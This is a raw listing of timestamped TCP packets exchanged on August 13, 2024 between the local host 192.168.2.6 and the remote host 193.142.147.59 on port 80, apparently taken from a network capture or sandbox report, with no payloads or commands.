Aug 13, 2024 10:21:12.358793020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.358807087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.358814001 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.358823061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.358864069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.358875990 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.359246016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.359261036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.359308958 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.365433931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.365448952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.365463018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.365488052 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.365509987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.365616083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.365638018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.365653038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.365664959 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.365668058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.365683079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.365693092 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.365722895 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.366013050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.366028070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.366041899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.366061926 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.366081953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.366341114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.366355896 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.366370916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.366389990 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.366409063 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.366715908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.366730928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.366763115 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.366775036 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.372622013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.372675896 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.372695923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.372741938 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.372869015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.372904062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.372919083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.372947931 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.373141050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.373174906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.373193979 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.373208046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.373215914 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.373243093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.373250008 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.373284101 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.373678923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.373712063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.373733997 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.373744011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.373754978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.373778105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.373789072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.373820066 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.374185085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.374217033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.374238014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.374252081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.374263048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.374281883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.374304056 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.374315977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.374331951 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.374367952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.374377966 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.374403000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.374413967 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.374445915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.375066042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.375098944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.375118971 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.375132084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.375142097 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.375165939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.375179052 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.375200033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.375211000 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.375233889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.375245094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.375267029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.375292063 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.375309944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.375921965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.375955105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.375974894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.375988960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.375997066 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.376032114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.378866911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.378921986 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.378963947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.378995895 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.379009008 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.379041910 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.379192114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.379224062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.379237890 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.379259109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.379270077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.379297972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.379515886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.379549980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.379559994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.379594088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.379669905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.379718065 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.379741907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.379775047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.379789114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.379807949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.379812002 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.379841089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.379848003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.379875898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.379884958 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.379972935 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.380417109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.380461931 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.380469084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.380511999 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.380534887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.380567074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.380580902 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.380600929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.380610943 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.380634069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.380642891 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.380667925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.380677938 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.380702019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.380712032 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.380743980 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.381397963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.381433964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.381455898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.381465912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.381474972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.381500006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.381506920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.381535053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.381546974 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.381568909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.381580114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.381602049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.381614923 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.381634951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.381642103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.381669998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.381674051 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.381704092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.381709099 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.381750107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.382347107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.382380009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.382394075 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.382414103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.382422924 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.382448912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.382456064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.382483006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.382489920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.382517099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.382524014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.382551908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.382559061 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.382586956 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.382592916 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.382620096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.382627010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.382663012 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.383264065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.383297920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.383311033 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.383332014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.383342028 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.383366108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.383399010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.383414030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.383434057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.383435011 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.383440971 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.383466959 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.383474112 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.383500099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.383516073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.383533955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.383550882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.383578062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.384138107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.384171009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.384195089 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.384203911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.384203911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.384238005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.384246111 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.384270906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.384278059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.384310961 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.438744068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.438806057 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.438827991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.438860893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.438879967 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.438909054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.439003944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.439037085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.439066887 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.439069033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.439084053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.439111948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.439378023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.439410925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.439423084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.439459085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.445848942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.445907116 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.445951939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.445967913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.445996046 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.446018934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.446177006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.446198940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.446223021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.446239948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.446476936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.446491957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.446527004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.446537971 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.452730894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.452781916 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.452825069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.452840090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.452872038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.452888966 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.453083992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.453099012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.453131914 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.453145981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.453306913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.453330040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.453352928 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.453363895 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.453607082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.453622103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.453635931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.453658104 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.453702927 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.453885078 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.453900099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.453912973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.453937054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.453953981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.454237938 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.454255104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.454287052 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.454297066 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.459924936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.459980965 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.460022926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.460037947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.460068941 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.460087061 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.460199118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.460213900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.460246086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.460273027 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.460458994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.460474968 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.460514069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.460526943 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.460689068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.460736990 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.460805893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.460819960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.460834026 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.460849047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.460851908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.460870028 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.460900068 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.461272001 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.461287975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.461302996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.461317062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.461318970 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.461338997 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.461365938 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.461689949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.461704016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.461740971 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.461751938 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.461821079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.461836100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.461869001 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.461884975 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.461903095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.461918116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.461932898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.461946964 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.461947918 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.461963892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.461970091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.461992025 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.462022066 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.462778091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.462793112 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.462806940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.462821960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.462832928 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.462838888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.462841034 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.462855101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.462866068 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.462896109 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.466337919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.466394901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.466422081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.466439009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.466471910 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.466483116 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.466653109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.466667891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.466682911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.466705084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.466737032 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.466978073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.467010975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.467029095 CEST	49711	80	192.168.2.6	193.142.147.59
